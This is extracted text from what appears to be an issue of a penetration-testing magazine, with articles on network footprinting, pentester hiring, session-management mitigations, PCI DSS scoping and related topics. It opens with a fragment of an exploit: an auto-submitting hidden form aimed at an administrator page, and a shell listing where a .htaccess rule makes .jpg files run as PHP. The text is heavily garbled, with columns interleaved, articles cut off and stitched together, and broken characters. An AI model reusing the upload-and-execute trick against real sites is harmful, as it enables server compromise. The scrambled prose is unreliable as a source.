<input type="hidden" name="yahoom" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="jabber" value="">
<input type="hidden" name="skype" value="">
<input type="submit" value="OK">
</form>
<script>
document.main.submit();
</script>
</body>
</html>
root@hackserver:/var/www/hackhost# ls -la
итого 80
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 11 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 50935 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 259 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php
-rw-rw-rw- 1 root root 846 2012-01-01 00:00 form.html
-rw-rw-rw- 1 root root 38 2012-01-01 00:00 .htaccess
root@hackserver:/var/www/hackhost# cat .htaccess
AddType application/x-httpd-php .jpg
MARSEL NIZAMUTDINOV
Marsel Nizamutdinov, Head of Research & Development
Department at High-Tech Bridge SA, web application security
expert, author of „Hacker Web Exploitation Uncovered”
Figure 11. Exploiting the administrator’s page (2005).
Finding your
Target...
Network foot printing is, perhaps, the first active step in the
recognisance phase of an external network security engagement.
This phase is often highly automated with little human interaction
as the techniques appear, at first glance, to be easily applied in a
general fashion across a broad range of targets.
A
s a security analyst, footprinting is also one of data provides the best current view of the target, but the
the most enjoyable parts of my job as I attempt information could change tomorrow as new sites are
to outperform the automatons; it is all about brought online, or old sites are taken offline. Thus as a
finding that one target that everybody forgot about or did datum is found that could expand the footprint, a new
not even know they had, that one old IIS 5 webserver iteration of the footprinting process triggers with that
that is not used, but not powered off. datum as the seed, and the results are combined with
With this article I am going to share some of the steps, all discovered information.
tips and tricks that pentesters and hackers alike use
when starting on a engagement. Know your target
The very first thing to do is to get to know your target
Approach organization. What they do, who they do it for, who
As with most things in life having a good approach to does it for them, where they do it from both online
a problem will yield better results and overtime as your and in the kinetic world, what community or charity
approach is refined you will consume less time while work they are involved in. This will give you and
getting better results. By following a methodology, your insight into what type of network/infrastructure you
footprinting will become more repeatable and thus reliable. can expect. Reading public announcements, financial
A basic footprining methodology covers reconnaisance, reports and any other documents published on or by
DNS mining, various information services (e.g. whois, the organization might also yield interesting results.
Robtex, routes), network registration information and For any organization that must publish regular reports
active steps such as SSL host enumeration. (e.g. listed companies), these are a treasure trove of
While the temptation exists to merely feed a information for understanding the target’s core business
domainname into a tool or script and take the output as units, corporate hierarchy and lines of business. All
your completed footprint, this will not yield a passable these become very useful when selecting targets.
footprint for two reasons. Firstly, a single tool will not Dumpster diving, if you are up for it and have physical
have access to all the disparate information sources access to the target, means sifting through trash to get
that one should consult, and secondly the footprinting useful information, but in recent times social media
process is inherently iterative and continous. A footprint can provide us with even more. Sites like LinkedIn,
is almost never complete; instead, a fork of the footprint Facebook and Twitter can provide you with lists of
Figure 1. Using dig to get the SOA (Start of authority) record for a
domain Figure 2. Using whois to get the domain owner detail
Figure 4. Using dig to get the a record for a host entry Figure 5. Getting the netblock and owner using whois
SSL Certificates
Figure 6. Search results for ARIN reverse whois
Lastly, we turn to SSL. SSL may be more familiar as
Address mapping a protection against nasty eavesdroppers and men-in-
All this fuss with DNS is important, but it is only use the-middle, but it is useful for footprinters. How? It is
insofar as they lead us to addresses. The next step really simple actually, one security checks performed
is discovering where the target exists within the IP by browsers when deciding on the validity of a SSL
address space. Luckily very useful tools and resources certificate is whether the Common Name contained in the
exist to help us uncover these ranges, by automating certificate matches the DNS name of the host requested
a combination of manual techniques such as whois from the browser. Now how does this help? Say a list of
querying, traceroute and netblock calculators. In the IP addresses has been produced; the next step would be
previous section the whois tool was used to get the to perform a reverse lookup of all these IP addresses.
domain owner information. The same tool can be used However, if no reverse entry is present and Bing has no
to discover the ownership/assignment details of a record of the IP, then some creativity is called for. If an
specific IP address. Let take www.facebook.com. One HTTPS website is hosted on that address then simply
of the IP addresses that it resolves to is 69.63.190.10. browse to that IP address and, when presented with the
whois 69.63.190.10 produces the following output. invalid certificate error, message, look for the real host
From the whois output we get really useful information. name.
First is a netblock range 69.63.176.0-69.63.190.255 as Again, this is something that is easily automated, so
well as the owner of this net block, namely Facebook, Inc. the guys at SensePost have included a module in Yeti
In this case we are lucky and the netblock is registered to actually do this for you.
to facebook, but often you will only get the network
service provider to which the netblock is allocated to. So Conclusion
then you will have to go and query the service provider Foot printing might at first glance appear to be simple
in order to gain more info about the specific netblock. and mundane, but the more you do it, the more you
Online resources can also be very useful, for example will realize that very few organization have a handle
on exactly what they have and what they present to the
internet. And as the internet and networks evolve so does
the way companies and organization use it, and so does
their footprint. A year-old footprint could be hopelessly
outdated, and ongoing footprinting helps organizations
maintain a current view of their threat landscape.
With the ongoing move away from local infrastructure to
hosted infrastructure, the footprint expands, spreads and
grows, and so will our quest to find as much as possible.
WILLEM MOUTON
Willem hails from a developement background having worked
on projects ranging from banking applications to embedded
GSM devices. He moved into the security �eld purly because
it is way more fun to break orther peoples applications. He is
currently a securtiy analyst/foozeball player at Sensepost and
is responsible for breaking applications and building some
Figure 7. Firefox reporting the common name contained in a SSL tools. He has also presented training at BlackHat events. Oh
certi�cate for a host and he is a really big fan of Shaun the Sheep.
W
hen a company hires a penetration tester, trust preventive medicine: You don’t really know if it’s working
is everything. Indeed, a company will have to or exactly how well it’s working, but you do know when
expose its internal security operations and all it fails (Sperling, 2009). As such, companies often
sorts of secrets to pentesters, should they be internal or hire consulting companies that will not only perform
hired through a consulting company. Because of this, penetration testing but will also offer complete security
the recruitment process should not only assess the audit services. Therefore, consulting companies such
technical skills but should also assess the personality as the Big-4 and other smaller ones, make the big part
and background of a potential pentester. of the companies employing pentesters.
The aim of this article is to give the reader and idea of the In short, there are two types of employers: end clients
criteria assessed by headhunters to identify trustworthy such as financial institutions, and consulting companies.
and technically capable pentesters. By shedding light on As we will discuss further in this article, assessing the
those aspects, this article will therefore give the readers soft skills part of a pentester for a consulting company
an understanding of the usual education, competencies should be well processed and mastered. The reputation
and soft skills a valuable pentester should demonstrate. of a consulting company could be seriously damaged
if the pentester was to fail to demonstrate honesty and
Who hires pentesters? professionalism in delivering projects to its customers.
Due to a high level of due diligence to ensure the Ed Sperling, (02/09/2009). Measuring IT Security
confidentiality, integrity and availability of customer Costs. Forbes, Retrieved from http://www.forbes.com/
transactions, pentesters are often sought at banks and 2009/02/07/security-information-tech-technology-cio-
other financial companies. However, IT security is also network_0209_security.html.
an issue in other industries such as pharmaceutical,
consumer goods, manufacturers, telecommunications, How to get to pentesters?
etc. These companies need to rely on an IT infrastructure Like in other industries, good talent is hard to find.
that must be efficient at all time to ensure performance The best pentesters are not on job boards because
not only for internal people but also for external they don’t need to be. Employers understand their
audience, such as clients, investors, suppliers, etc. value and, unless economic situations force them to
Another aspect to point out in order to define the types cut back, make them stay and feel comfortable in their
of clients is the cost of IT security. It is often seen as a position.
a d v e r t i s e m e n t
PENTEST STARTERKIT
F
orums are the cornerstone of hacking – they are discussed attack method, being at the center of 19
used by hackers for training, communications, percent of conversations.
collaboration, recruitment, commerce and even Unsurprisingly, with a 16 percent discussion occur-
social interaction, Imperva stressed. rence rate, spam is the third most favorite attack
In recent years, the movement in hacking forums has type according to Imperva’s content analysis. That’s
increased by 150%. We believe this increase reflects probably because it is one of the primary methods of
the higher number of failures, simply because there generating illegal income.
are more attackers chasing security breaches, the Network and computer vulnerabilities caused by
company said. misconfiguration, unsafe coding and lack of proper
Imperva’s researchers have recently analyzed discus- security updates still are a nightmare for mission-critical
sions going back several years from HackForums.net, applications in organizations worldwide, impacts the day-
one of the largest hacker forums with over 220,000 to-day organizations in such challenging security world.
registered members. Their effort was aimed at For instance a simple virus activity in IT environment
determining the most common attack targets, what causing a main server outage and huge financial losses
business trends can be observed, and what directions as well as affect the image of the whole organization,
hackers are leaning toward. whenever service outage cause any direct impact to
As far as attack popularity goes, the analysts customers.
determined that DDoS was mentioned in 22 percent of Security guidelines and awareness for infrastructure and
discussions. SQL injection, a technique commonly used development staff, as well as use of sophisticated Intrusion
to compromise websites, is the second most frequently Prevention Systems, vulnerability scanners, antivirus,
organization.
However the penetration test
also provides a real picture ����
of technological risks related �����������
QRbot
– iPhone QR botnet
Every time that new technology is revealed, lots of security
researchers seek for vulnerabilities in it. In my case, I am looking
for security holes in the integration between QR readers and smart
phones, especially on iPhone.
T
his article is related to both social engineering favorite places i.e. to see review on a restaurant before
and cyber-crime. Why social engineering? entering, Google chrome add-on, museums, house
Since QR usage is based on interactive actions selling advertisements, on CDs to watch a clip of the
of mobile users, which might lead to threats on their band, troubleshooting on electronic devices, restaurant
devices, as will be explained in detail later. menus etc.
Why cyber-crime? The actions taken by criminals not In order to read the QR code, the mobile device (not
only harm the mobile phone/device users, but also may only smart phones) should include a specialized code
steal sensitive information or aid in launching massive reading and decoding software. The mobile device can
actions using controlled, Zombie-based networks translate it differently to actions, e.g. open URL, send
(Botnets), e.g. DDoS – Distributed Denial of Service SMS, make calls, add contacts, show text etc.
attacks. However, there are QR codes that cannot be read by
In order to explain the whole process, this article mobile devices because they are encrypted. A matching
begins from the basics of QR and iPhone Usage. decryption key is required to view the content.
After understanding the basics, we will dive into the
actions needed to build a QRbot. Finally, avoidance QR abuse
recommendations will be explained. The main problem of the QR is that the human eye
cannot decode the message. This makes the following
What is QR? social attacks possible:
A QR (Quick Response) code is a type of matrix
barcode that was developed in order to automate the
industry. The code consists of black modules arranged
in a square pattern on a white background, e.g. the QR
code in Figure 1 is decoded to the phrase Do you think
that information security is expansive? Try to ignore it!
There are similarities to the QR, such as EZcode, QM,
but the QR is the most common.
The QR is used in various places and media types:
newspapers, TV, business cards, books, Google Figure 1. Demo text
NIR VALTMAN
Nir Valtman is employed in Citadel Consulting
LTD (http://en.citadel.co.il) as Chief Security
Architect. Before this position he was
working as senior technology consultant,
Application security consultant, system
security consultant and a technological
trainer. As part of his positions, he was not only consulting,
but also performed hands-on activities in various �elds, e.g.
hardening, penetration testing and development for personal\
internal applications. Nir has a BSc in computer science
but his knowledge is based mainly on cowboy learning and
information sharing with the techno-oriented communities.
As part of Nirs’ position, he is responsible to investigate new
technologies, delivery of high-level technologic surveys and
business development in the company. Visit his blog: http://
Figure 7. Installation con�rmation valtman-nir.blogspot.com or contact him: nirv@citadel.co.il.
����������������������������������������������������
���������������������������������������������������
����������������
����������������������������������������������������
��������������
��������
���������
����������
��������������
��������������������������������
PENTEST STARTERKIT
IT Security
& Risk to data
– the ever changing landscape
“Data loss!”; “Industrial Espionage”; “Security Breach!” – Terms
which we’ve heard of before, but unfortunately are becoming
increasingly popular given the disturbing levels disclosed recently.
The new world of ‘Cyber Security’ is facing an increasing rise in
awareness across organisations as the risks associated to these
threats are realised.
T
here are many forms of security breaches taking of controls for your organisation. Organisations spend
various guises, and its because of this diverse hundreds of thousands having consultancies tell them
array of types of attack, that organisations are things that they probably already know all in the name
finding it challenging to protect themselves against. of compliance. They hand over a report, the client pays
On the other hand, clever countermeasures are the invoice and that’s it until the next quarter. There is
now available to help the fight against targeted or no doubt that there is value in having elements of your
opportunistic forms of attack. So that’s OK you might operations assessed by a third-party set of eyes, but it
say. However, these tools can be extremely costly is how you then use this information which is critical.
to buy, implement and then maintain. It is having a I’ve been lucky to work in both the private and
blended mix of effective countermeasures and an public sector in my career to date, and witnessed
effective risk management regime that organisations how organisations within these sectors have striking
seem to struggle with, which I will now discuss. similarities surrounding issues addressing IT Risk
The world of corporate governance has brought across the organisation. Many organisations I’ve
added pressure and cost to organisations safeguarding visited on my travels all understand risks to their day-
themselves against external (and not forgetting the to-day operations, but few understand how to integrate
internal) threats. Sarbanes Oxley, PCI, Solvency, the management of risk into their organisation
MiFID, (to name but a few) has forced organisations throughout.
to take a closer look at how they apply control over I have seen various approaches to managing risk,
their operations. Given the cost in the early days mainly dependant upon available budget and appetite.
of organisations having to comply with the likes of The private sector trend is to rely upon the results of
Sarbanes Oxley (running into tens of millions for a statutory audit to determine any exposure across
some larger FTSE based examples), organisations their IT landscape and to drive remediation. The public
are turning to various frameworks (COBiT, COSO sector has tighter controls surrounding their systems
etc) and standards as a way of applying control over (mainly for accreditation purposes) which requires them
their IT landscape. The problem comes when there to undertake health checks (vulnerability assessment)
is a misunderstanding between what the world of to again assess vulnerabilities which could compromise
compliance and governance state you must comply the security of their systems and data. Both though
with, and interpreting this as an appropriate baseline set have a common thread being that they have an external
Teamwork
Innovation
Quality
Integrity
Passion
Sense of Security
Compliance, Protection
and
Sense of Security is an Australian based information security and risk management consulting
practice. From our offices in Sydney and Melbourne we deliver industry leading services and
research to our clients locally, nationally and internationally.
Since our inception in 2002, our company has performed tremendously well. We thrive on team
work, service excellence and leadership through research and innovation. We are seeking
talented people to join our team. If you are an experienced security consultant with a thorough
understanding of Networking, Operation Systems and Application Security, please apply with a
resume to careers@senseofsecurity.com.au and quote reference PTM-TS-12.
info@senseofsecurity.com.au
www.senseofsecurity.com.au
AUDITING & STANDARDS PENTEST
Operating System
Security Re-visited
Information security, in terms of the risk management of electronic
information, is a young and relatively new practice in the business
world. Information security departments are less than a decade
old in many businesses. The mid-to-early 90s saw the wider scale
adoption of the public Internet, and along with it came technical
gurus (some would say “hackers”) who professed to know how to
keep bad guys out of good guys’ corporate networks.
T
he earliest face of information technology security Many in the field of information security wouldn’t
expertise was one of hackers and small service care to admit it, but whenever the bad guys target the
providers. Businesses at this time did not have good guys with (among others) intentions of corporate
dedicated security departments. The information security espionage, intellectual property theft, and / or theft
practice was handled by IT operations typically. IT of personal information, they are rarely met with any
operations staff would install a firewall, configure it badly significant resistance.
(in most cases) and they would roll out some sort of a Way back in the early 2000s, with the outbreak of
token gesture in the way of malware protection (although the famous worms known as Nimda and Code Red (ah
it seems the effectiveness of malware protection controls those were the days!), dropped packet logs from our
are limited by the products available in this space – and firewall revealed that worm propagation connections
so how advanced can it possibly be as of January were attempted to our corporate network from some
2012?). This was the earliest incarnation of information famous names, including IBM, Oracle, and many other
security where it concerned the preservation of the Wall Street favorites. Corporate networks were being
confidentiality, integrity, and availability of information routinely infected across the globe.
assets and services (yes – I got my CISSP too, although These days the malware is less noisy, but even
it was 2005 – seemingly a lifetime ago). more pervasive, and there is more of an economic
In the decade-plus since the world first realized that it element behind it. Botnets are common, consisting of
might need to think about the protection of information many thousands or millions of nodes, and corporates
assets held in electronic form, has there been much are unknowingly assisting the efforts of the botnet
progress in the field? Major information security incidents architects. Without permanently online corporate
regularly make the headlines even in business-related desktop PCs and Microsoft Windows (predominantly)
publications such as the UK’s Financial Times. In the servers, the botnets would not be so effective and
early to mid-2000s, the frequency of reported security widespread. Botnets are rented out for any parties
incidents was, to say the least – very low. So when I wishing to spam, loot, hoard, or whatever it is the bad
was proclaiming at the time that corporate networks guys do to make money. Sufficed to say, when the
were wide open, my comments were greeted with some botnet propagates, it does not discriminate based on
skepticism, sideways glances, and other expressions of the ownership of the real estate within which it decides
derision, disapproval or discomfort. to squat.
������������
�������
� � � � � � � � �
�� �����������������
���� ������������������������������������
������ �����������������
�������� ���������
����������������������
���������������������
� ����������������
�� ��������������������� ����������������������������� ������������
AUDITING & STANDARDS PENTEST
Separating
Fact from Fiction – The realities of Cyber War
Cyber War. Two words that you’ll have heard in the news a few
times by now. You’ll have heard it more and more over the last
year or so. Maybe two or three years if you’ve been halfway
interested or happened to be browsing on IT websites that cover
cyber warfare. Especially if you’re living in the US, you’ll have heard
some pretty fear-inducing stories.
A
nd not by just anybody; Richard Clarke himself this; up till STUXNET only the experts knew and realized
has said that a Cyber War is the next big threat to that an attack on such systems could cripple us.
national security. He was, of course, referring to
the national security of the US, but his critique certainly So what is Cyber Warfare?
holds water for other modernized nations. What may be For a very broad definition of Cyber Warfare, I will steal
surprising is that he was absolutely right, even though a bit from Wikipedia’s entry on Aerial Warfare: Cyber
he may be understood poorly. Warfare is the use of both military and other computer
Let me first start out by trying to explain what Cyber networks and systems to further the national interest
Warfare actually is. I say try because it’s hard to capture on (and off) the Cyberspace battlefield. I realize that
exactly what the definition is. With having this seeming this is such a broad definition that it almost becomes
inability to describe it, I find myself in good company. worthless, but any further narrowing down may make it
At his confirmation hearing for the role of the first Cyber factually incorrect. Wikipedia’s entry on Cyber Warfare
Warfare General in US history, four-star General Keith refers to politically motivated hacking, which I feel is
Alexander could not explain to the Senate Committee wrong because while hacking is certainly a part of it, it
what the exact definition of Cyber Warfare is. This is not the whole of it. Richard Clarke’s definition, as he
has everything to do with the fact that we, as a global wrote it in his book Cyber War, also seems too narrow
civilization, are still trying to figure out what it means because he limits it to an activity performed only by
(culturally) to have all our collective knowledge at our nation states. With this statement he discards non-state
fingertips, all the time. And make no mistake: this is actors and I feel this is a mistake.
exactly what we’ve created through the Internet and Regardless of exact definitions, Cyber Warfare involves
mobile devices capable of internet access. Add to that the use of computer systems and networks with the
the fact that technology changes so rapidly that it’s aim to corrupt, deny or destroy enemy information and
hard to see where we’re going. The final element of information systems, while protecting one’s own. My
uncertainty in this mix is that very few people (if any) friend and fellow publicist Peter Rietveld emailed me an
know or understand where internet technology is used. excellent definition recently that I’d like to share with you:
It’s so pervasive that we may discover entirely new fields
of vulnerabilities, even though they’ve been around for In war, information about your own capabilities and your
decades. SCADA systems are an excellent example of opponents capabilities is the ultimate
Network Segmentation
The clues to switch a PCI DSS compliance’s
nightmare into an easy path
T
his issue opens the need for a security PCI DSS not only apply to systems that store, transmit
architecture distributed in levels of criticality, or process cardholder data but usually the PCI DSS
where the stringent security controls are applied scope is much greater, including management systems,
to critical systems and other more flexible controls are security systems and in many cases all customer
applied to less critical or sensitive systems. processes and infrastructure.
In the case of PCI DSS compliance, the compliance Adequate network segmentation can help
mandates require organizations (merchants, services organizations to reduce the scope and cost of
providers and acquirers) to initiate a detailed analysis implementation and evaluation of PCI DSS. The aim is
of the scope of compliance, discovering in most cases to limit where cardholder data is processed, stored and
the need to take action to isolate the affected processes transmitted to limit the scope of PCI DSS, achieving:
and systems limiting the scope of PCI DSS compliance.
Typically the reduction and limitation of the scope of PCI
DSS is achieved through proper network segmentation,
but before carrying out this network segmentation it is
necessary to understand how to set boundaries in the
area of PCI DSS compliance and which aspects will be
assessed by the QSA auditor in a PCI DSS assessment.
In fact, the misunderstanding of the scope of PCI DSS
causes organizations to believe that compliance
with PCI DSS is much easier than it actually is, and
sometimes these organizations insist on taking a direct
PCI DSS compliance audit without having had proper
advice previously and ending in an unsatisfactory audit
and higher final costs.
This does not mean that companies should not • Processing, storage or transmission of payment
outsource services in the PCI DSS environment, quite transactions.
the opposite as this reduces the scope of PCI DSS but • Service Providers (any service offered on which
it is essential to ensure that outsourcing is not going cardholder data could be transmitted, stored or
to be a security risk and therefore an extension of the processed by the service provider or the customer):
PCI DSS scope. In fact, the same scenario wouldn’t • Web hosting, dedicated servers, housing,
pose the security problems detailed above if Company datacenter
B has had network segmentation for services affected • Network services, administration and systems
by PCI DSS for those who are not. management
• Application Development
PCI DSS Scope • …
To determine how PCI DSS affects the organization, it • Billing / Payment for services with credit card by
is necessary to conduct an evaluation to see how the Internet, telephone, mobile, etc...
cardholder data flows through the organization and to • Customer Services, for example:
analyze where it is critical the storage, processing or • Call-centers (recorded conversations).
treatment of this information, eliminating those that are • Incidents received on paper, for example FAX.
not critical flows. It is necessary that the evaluation of • Incidents received electronically (email,
each of the flows where cardholder data appears is applications, etc.).
considered the starting point (what, when and how • Loyalty Programs.
data is obtained by the organization), the intermediate • Fraud Management.
states (all treatments and locations where cardholder • Booking Management.
data flows) and the end point (if any, how cardholder • ...
data leaves the organization). This analysis should
be conducted in all areas of the organization, since Once all cardholder data flows are identified, it is
it is common that a specified area of the organization important to look for areas where cardholder data can be
ignores that other areas also interact with cardholder consolidated or removed to reduce the scope. With this
Figure 3. Small segment of Company B network included within PCI DSS scope
The Significance
Of HTTP And The Web For Advanced Persistent Threats
T
he omnipresence of the Web is now a given and difficult to be sure that requests received during
it serves a wide variety of situations, as detailed browsing emanate from the same user. Large scale use
n the non-exhaustive list below: of the Web illustrates the
discrepancy that exists in terms of security versus
• Community applications volume, and this inherent flaw has become a major
• Institutional Web sites IT system issue, making HTTP a preferred vector of
• Online transactions attacks and data compromise.
• Business applications Cybercriminals are aware of the exploitability of
• Intranet/Extranet the Web and have made it their number one target.
• Entertainment Not a week goes by without a an organization being
• Medical data compromised via HTTP:
• Etc.
• Playstation Network (Sony) -> Wordpress version
In response to user requirements and developing problem
needs, content driven by HTTP has become incre- • MySQL (Oracle) -> SQL Injection
asingly rich and dynamic. It even goes as far as • RSA (EMC) -> SQL Injection
incorporating script languages that transform the • TJX -> SQL Injection
Web browser into a universal enhanced client
that espouses different platforms: PC, Mac and The above attacks, conceived and carried out with
Mobile users all form part of the connected masses precise attention to logistics, are by no means an
operating on their chosen platforms. But have innovation, but we now refer to them differently, using
these new privileges arrived without any underlying the term APT: Advanced Persistent Threat.
constraints? Bolstered cyber-activity, the discovery of intrusion and
The race towards sophistication has not been updated legislation entailing mandatory declaration of
accompanied by similar developments in respect of incidents collectively lead to extensive media coverage,
the security and reliability of data circulated across the which in turn amplifies the impact on the image of the
Web. A concrete example is the fact that HTTP does not unfortunate victims that are more often than not high-
provide native support for sessions, and it is therefore profile businesses or international organizations.
Systems Analysis
To understand how the attacker remained in the area, it MATTHIEU ESTRADE
is important to identify the type of backdoor used. From Matthieu Estrade has 14 years experience in internet security.
the simplest act such as the placing an executable file In 2001 Matthieu designed a pioneering application �rewall
in the application itself, to the injection of code into a based on Web Reverse Proxy Technology for the company
process (eg hook network functions), it is necessary to Axiliance. As a well known specialist in his �eld he soon
analyze the system hosting the application. became a member of the Open Source Apache HTTP server
development team. His security expertise has been put to
• Changed configuration files contribution in WASC (Web Application Security Consortium)
• Users added projects like WAFEC and WASSEC. Matthieu is also a member
• Security rules changed of the French OWASP chapter. Matthieu is currently CTO at
• Errors of execution or increase in privileges BeeWare.
Web Session
Management
– Reality is a nightmare!
I
n web based applications, the primary protocol is • Cookie transfers and information disclosure
HTTP which we all know is a stateless protocol. • Session Expiration timelines
It means instead of relying on the established • Session handling when a user logs out
TCP connections for anything more than
GET/POST request, we need a session
management to make this stateless
protocol support session states.
On a broad spectrum following are the
primary identifiers that support and/or
manage the established session between
the server and the client,
• Session ID
• Cookie Values/Parameters
Two main reasons for being a skeptic against IP • To prevent brute force password guessing, enforce
restrictions, a strong password policy, do not leak the existence
of user names and implement some failed login
• Some clients make several requests from one IP limits.
address, and then make several requests from
a second, sometimes with a gap between the A pentester can keep such a checklist as a benchmark
blocks of request. This suggests the end user is option for web applications, but remember: the
changing IP address, perhaps reconnecting their checklist alone is not enough. It is always necessary
modem. and expected from a pentester to be effective in
• Some clients make requests from multiple IP impromptu situations and bring something out of the
addresses in a small range, seemingly at random. box.
This suggests that the ISP is using multiple, load-
balanced web proxies. When a user makes a web
request, it may be routed through any one of these
proxies, usually at random.
Conclusion
Having looked at various vulnerabilities and mitigating
steps, here is a conclusive summary of the possible
workarounds.
Summary of Mitigations
We have now looked at all the major attacks against a
session ID cookie login system. Various mitigations are RISHI NARANG
available, some of which are appropriate for a moderate Rishi Narang is currently working as
security site. Here is a checklist of precautions for Lead Vulnerability Research Engineer
developers to follow: for Qualys Inc. He has about 7 years
of experience which includes research
• Make the session ID a 128-bit cryptographically on vulnerabilities, malware, protocol
secure random number. This prevents anyone analysis, evolving attack vectors and
predicting or brute forcing the ID. signature development for network &
• Use the secure and HTTPOnly cookie options, to host based IDS/IPS products.
prevent theft through XSS and information leakage In the past, he has served as Senior
over non-SSL requests. Consultant at Deloitte & Touché and Security Researcher
• Disable the TRACE/TRACK HTTP methods, to with Trend Micro. He holds a B.Tech degree in Information
prevent HttpOnly being circumvented. Technology, CEH and CCNA certi�cations and has been a part
• Change session IDs at login time, or alternatively of SuSE, Red Hat & Ethical Hacking trainings in different parts
only issue them at that point. This prevents session of the country.
fixation attacks. Among his key public disclosures, he has been responsible
• Ensure all requests that cause a data change on for LinkedIn vulnerability and �rst Google Chrome exploit.
the server use a random authorization token, to He has been quoted by Reuters, Forbes, eWeek, CNET,
prevent CSRF attacks. InformationWeek, The Register and many other main stream
• Provide a logout function that invalidates the media. He has been an author and advisor for Hakin9
session ID on the server. and PenTest magazines. He has been a speaker at OWASP
• Put time limits on session IDs to reduce impact of (Mumbai Chapter, India), Bangalore Cyber Security Summit
theft – both inactivity and absolute timeouts. and eSurakshit conference in India.
• Separate large sites into compartments, which use He can be reached via Twitter (@rnarang) or
different domain names. rishi@wtfuzz.com.
Modeling Security
Penetration Tests with Stringent Time Constraints
I
n order to create a test strategy that allows us to Determining Project Objectives
execute security tests with enough coverage in We usually see two types of stakeholders: managers
the given time frame we created the Modeling, and developers, both expecting something different.
Planning, Execution, and Analysis (MPEA) approach. Managers want to know whether the product is secure
MPEA divides the penetration testing into four phases, or how secure it is, whereas developers want to know
allowing us to implement the tests more effectively and exactly where the flaws are located in the system. To
efficiently: satisfy both, our test objectives should include:
• Modeling phase: Deliver a risk profile that can be • A high level summary that explains the general
used as input for the activities of the remainder of state of the security of the system. Managers
the project. The profile contains the scope of the need this to answer the question: Am I looking at
tests and the stop criteria a fundamental flaw that stops going live or do we
• Planning: Deliver the test strategy and the test plan have a generally faulty build process that needs
• Execution: Execute the penetration and deliver the tidying up? Satisfying management’s objectives
tests results according to the test plan should be done through easy to read and
• Analysis: Analyze the test results and deliver a understand graphs and charts.
report • For developers we recommend a tabular list of
issues including a title, a description, a list of hosts
This article discusses the modeling aspect of our affected, an estimation of severity and a suggested
approach and will explain how to best model security fix or workaround.
projects with little time, including:
The estimation of severity could be as simple as high/
• Determining Project Objectives medium/low, or include more detail such as: ease of
• Modeling goal exploit, complexity to fix and the extent of resulting
• Gathering System Information compromise. Ease of exploit plays back into the model
• Developing a Risk Profile so that developers can see if they need to worry
• Testing tools or manual testing about the issue, complexity to fix plays into the risk
• Vulnerability Investigation-Stop Criteria management decision on going live and the extent of
Administrator Authorization
Most administrators are accustomed to use super
administrator to login into the system. This practice is
dangerous as mis-distributing the authority of the super
administrator can lead to many problems.
not spend too much time on analyzing the reports, exists, then there is no need for more investigation. For
since often you may find the reports from different example, I will not try to break a Windows system when
test executions may be different. The differences I get a SQL server account on that server because I
may be caused by server status, user status, tool’s know I am able to. Or, if I find an XSS vulnerability,
bugs, making investigating them quite complicated. I will not try to implement an actual attack because
For minor problems raised by this kind of tools, although I may fail, I know another more senior hacker
such as sensitive information leakage risks, go can. The most important aspect of investigating
through them quickly. For the critical/medium vulnerabilities and their level of importance is to record
problems, leave them to specific tools or manual how to reproduce the flaw and assess it by listing the
penetration tests. potential risks.
• For each of the common vulnerabilities, a specific
tool should be prepared to complement the Conclusion
commercial multi-vulnerability scanners mentioned Our overall goal of penetration testing is to reduce
above as they sometimes cannot cover every vulnerability-associated risks in a limited time. Just like
corner of the application. We once manually in black-box functional testing, we need to find the most
discovered an SQL injection flaw which located in important defects as soon as possible. Only security
a textbox that was not found by multi-vulnerability defects have different characteristics and therefore,
scanners. So specific tools, even manual tests, require a different approach. Similar to black-box testing
should be applied for specific vulnerability types. where models are useful for test case design to optimize
• For uncommon vulnerabilities, many organizations the testing process, security penetration testing requires
provide specific tools. For instance, SSL testing a similar modeling approach. The objective of this
via McAfee and AJAX from OWASP. If a well article is to present a modeling framework for executing
developed tool cannot be found, don’t try to a security penetration testing project with stringent time
develop one because this will usually take a lot of constraints. With this model, it is possible to achieve the
time. The best choice is to manually investigate the most ‘bang for the buck’ in phases 1 and 2 and still, at
vulnerability. any moment during the test execution, you can stop and
say, we have done our best at this point in time.
As a tip, after discovering a critical vulnerability,
manually reproducing them is necessary in order to
completely understand the flaw and the severity in
a real situation. We once over-assessed a flaw as
critical, but actually it should have been characterized
as low priority because the flaw was blocked in a real
usage situation and not critical.
About XBOSoft
XBOSoft is an international �rm specializing in software
quality assurance with branch offices in the USA, Europe and
China. With a proven record of success working for Fortune
500 companies and specialized ISVs, XBOSoft has gained
broad domain expertise with extended experience in �nance ALAN CAO
and healthcare. Alan Cao is a Project Manager at XBOSoft, where he works
Our commitment to software quality improvement is on software security assurance and testing projects. Alan
implemented through practical quality assurance processes holds a master’s degree in Software Engineering from Peking
combined with deep technical expertise.
University and is also a MCITP and ITIL Certi�cated.
Cloud Computing
– Legal Issues
Cloud computing involves the sharing or storage by users of their
own information on remote servers owned or operated by others and
accessed through the Internet or other connections. Cloud computing
services exist in many variations, including data storage sites,
video sites, tax preparation sites, personal health record websites,
photography websites, social networking sites, and many more.
C
loud computing has significant implications for in the cloud as secure as data protected in user-
the privacy of personal information as well as for controlled computers and networks? Privacy and
the confidentiality of business and governmental security can only be as good as its weakest link. Cloud
information. While the storage of user data on remote computing increases the risk that a security breach may
servers is not new, current emphasis on and expansion of occur.
cloud computing warrants a more careful look at its actual One of the problems with cloud computing is that
and potential privacy and confidentiality consequences. technology is frequently light years ahead of the law.
For some information and for some business users, There are many questions that need to be answered.
sharing may be illegal, may be limited in some ways, Does the user or the hosting company own the data?
or may affect the status or protections of the information Can the host deny a user access to their own data? If
shared. Even when no laws or obligations block the ability the host company goes out of business, what happens
of a user to disclose information to a cloud provider, to the users’ data it holds? And, most importantly from a
disclosure may still not be free of consequences. privacy standpoint, how does the host protect the user’s
When users store their data with programs hosted on data? So we carefully analyze the various laws and
someone else’s hardware, they lose a degree of control policies that the host has to abide by and also carefully
over their sensitive information. The responsibility for look to analyze certain aspects of the license and end
protecting that information from hackers and internal user agreements that help share liability and empower
data breaches then falls into the hands of the hosting government agencies to still access certain kind of
company rather than the individual user. Government information without breaking the privacy laws.
investigators trying to subpoena information could
approach that company without informing the data’s Introduction
owners. Some companies could even willingly share Cloud computing can be called as a natural evolution
sensitive data with marketing firms. So there is a of the widespread adoption of virtualization, service-
privacy risk in putting your data in someone else’s oriented architecture, autonomic and utility computing.
